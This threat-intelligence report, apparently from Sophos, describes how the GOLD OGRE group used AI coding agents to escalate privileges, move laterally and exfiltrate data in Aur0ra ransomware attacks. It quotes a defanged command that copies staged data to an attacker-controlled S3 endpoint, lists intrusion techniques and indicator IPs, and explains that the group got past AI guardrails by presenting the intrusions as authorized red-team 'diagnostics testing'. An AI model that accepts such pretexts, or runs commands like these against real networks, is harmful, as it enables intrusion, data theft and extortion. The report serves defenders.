AI used in Aur0ra ransomware testing and execution

In May 2026, Counter Threat Unit™ (CTU) researchers published a report on an AI-assisted post-exploitation framework that tested the capabilities of multiple vendors’ endpoint detection and response (EDR) solutions, including the Sophos agent. Following a testing phase, Sophos analysts observed the same infrastructure hosting Cobalt Strike in support of Aur0ra ransomware (also known as Aurora ransomware) operations. Sophos analysis has revealed that the GOLD OGRE cybercriminal group, which operates Aur0ra ransomware, extensively uses AI to conduct attacks. The tools and tactics, techniques, and procedures (TTPs) observed by Sophos analysts align with third-party reporting of AI usage in similar compromises.

Sophos analysis

While investigating the exploitation framework, which was developed with Cursor AI assistance, Sophos analysts gained visibility that provided insights into the Aur0ra ransomware operation. They confirmed routine use of Cobalt Strike for intrusions, S3-compatible storage for storing stolen data, and agentic AI to escalate from credential access to privileged accounts. Sophos immediately notified potentially impacted customers and worked with law enforcement to issue notifications for other affected organizations.

The research data revealed multiple distinct operators, but each followed the same attack pattern. This pattern involved using shared command and control (C2) infrastructure and toolkits to perform Active Directory (AD) enumeration and lateral movement, focusing on network shares to collect data. For example, across multiple attacks, one operator conducted privilege escalation, process injection, credential/token abuse, extensive AD and share enumeration via SharpShares; collected the resulting data; and performed file-transfer activity consistent with staging and exfiltration to an S3 bucket:

VeeamTransport --endpoint-url hxxp://152[.]236[.]4[.]14:54410 ... cp ... s3://devhost/<redacted>/...

Artifacts discovered in the data suggest the operators are Russian speakers. Russian commands “зы” and “ды”, which were observed in the operator logs, correspond to ps (process enumeration) and ls (directory enumeration) when transposed from a Cyrillic keyboard layout.

In late August, Sophos analysts recovered Cursor artifacts associated with Aur0ra ransomware operations and EDR evasion testing. The threat actors used Cursor to escalate from credential access to domain administrator in preparation for data collection and ransomware deployment. AI guardrails were bypassed by framing the intrusions as authorized red team activity or "diagnostics testing". Intrusions were orchestrated by Cursor's Composer agentic coding model as well as AI models provided by Anthropic, xAI, and Moonshot. Analysis indicates that the threat actors initially used Anthropic almost exclusively but then introduced other models. The shift may be related to the threat actors’ objectives, as they transitioned from building tools to conducting intrusions.

Figure 1 shows the typical workflow. Human operators supplied VPN credentials, SOCKS access, targets, and objectives to the agents. The agents then performed network and AD discovery tasks, analyzed credential-based attack paths, executed commands, and moved laterally with limited human involvement. In several environments, the agents searched network shares, user documents, backup repositories, and cloud-connected storage while conducting password spraying, Kerberoasting, NTLM coercion and relay, and credential extraction from files and backups. In a subset of environments, agents achieved domain management access. Three of these victims were later named on Aur0ra’s data leak site.

Figure 1: AI-assisted intrusion workflow

Table 1 lists the original and English translations of some of the prompts observed by Sophos analysts during the investigation.

Table 1: Sample prompts used in AI-assisted intrusions

Third-party reporting

In late August 2026, Gambit Security and CloudSEK published reports describing Aur0ra ransomware operations. Both analyses appeared to be based on access to the same exposed open directory at 172[.]86[.]113[.]245. The directory contained an attacker toolkit, including both Windows and Linux (ESXi-compatible) versions of the Aur0ra ransomware binary, shell history, and Cursor chat logs. The researchers described how Russian-speaking operators relied heavily on Cursor orchestration in exploitation activity. Gambit Security explicitly referenced the deployment of a Claude 4.5-Sonnet agent in semi-automated attacks.

After providing the agents with previously obtained credentials, the threat actors tasked the agents with various exploitation activities. The agents were given the freedom to select the tools and techniques best suited to specific objectives. When initial attempts failed, they refined their commands, modified scripts, and tried alternative approaches. Some tasks ultimately succeeded, while others ended with the agents summarizing their attempts and findings for the operators. Gambit described the agent using techniques and tools such as installing and configuring a VPN client and then connecting to the victim’s network via supplied credentials; using Nmap or NetExec to scan internal subnets for hosts; using BloodHound collector to enumerate the domain; attempting NTLM relay attacks via PetitPotam, Coerce Plus, and PrinterBug; using an Impacket module to relay the resulting authentication; and using Certipy to conduct certificate attacks. The tools and techniques described in the third-party reports overlap with the ones that Sophos analysts observed in the AI-assisted evasion testing framework (see Figure 2). Infrastructure crossovers were much more limited. Just one SOCKS-related IP address (45[.]59[.]113[.]63) was observed in the AI-assisted testing framework and mentioned in Gambit Security’s report.

Figure 2: Comparison between tools and techniques observed in AI-enabled testing framework and referenced in third-party reporting on Aur0ra ransomware operations

CTU™ researchers assess with high confidence that GOLD OGRE used AI to test the evasion capabilities of various tools and techniques in a Cursor-enabled endpoint testing framework, and then provided associates with similar technology to use in Aur0ra ransomware operations. It is highly likely that other ransomware groups and their affiliates will embed AI agents like Cursor into their operations as well.

Recommendations

AI can accelerate phases of the attack chain and reduce the level of technical aptitude needed to conduct an attack. Existing controls such as patching internet-facing devices, deploying phishing-resistant multi-factor authentication (MFA), and monitoring EDR alerts are still effective, but successful defense relies on a quick response. Organizations should also prioritize controls that reduce attackers’ movements within an environment. These controls include segmenting critical servers, isolating backups, reviewing domain administrator privileges, using privileged access management (PAM), and implementing application controls.

Countermeasures and indicators

Table 2 contains a sample of the Taegis™ countermeasures that SophosLabs has developed to detect activity associated with this threat.

Table 2: Taegis countermeasures for this threat

The following Sophos countermeasures also relate to this threat:

• ATK/ExtC2-A
• ATK_BLOODHOUND
• AMSI/BloodH-A
• ATK/Kroast-A
• ATK/Kroast-B
• AMSI/Kroast-A
• HPmal/Meter-A
• HPmal/Meter-B
• Troj/MeterMem-A
• Troj/MeterMem-B
• Troj/CobalMem-A
• Troj/CobalMem-B
• Troj/CobalMem-C
• ATK/SecDump-A
• ATK/Impacket-A
• ATK/Impacket-B
• ATK/Impacket-C
• ATK/Impacket-D
• ATK/Impacket-E
• ATK/Fshares-A
• Linux/Ransm-CR
• Troj/Ransom-HKT

The threat indicators in Table 3 can be used to detect activity related to this threat. Note that IP addresses can be reallocated. The IP addresses may contain malicious content, so consider the risks before opening them in a browser.

Table 3: Indicators for this threat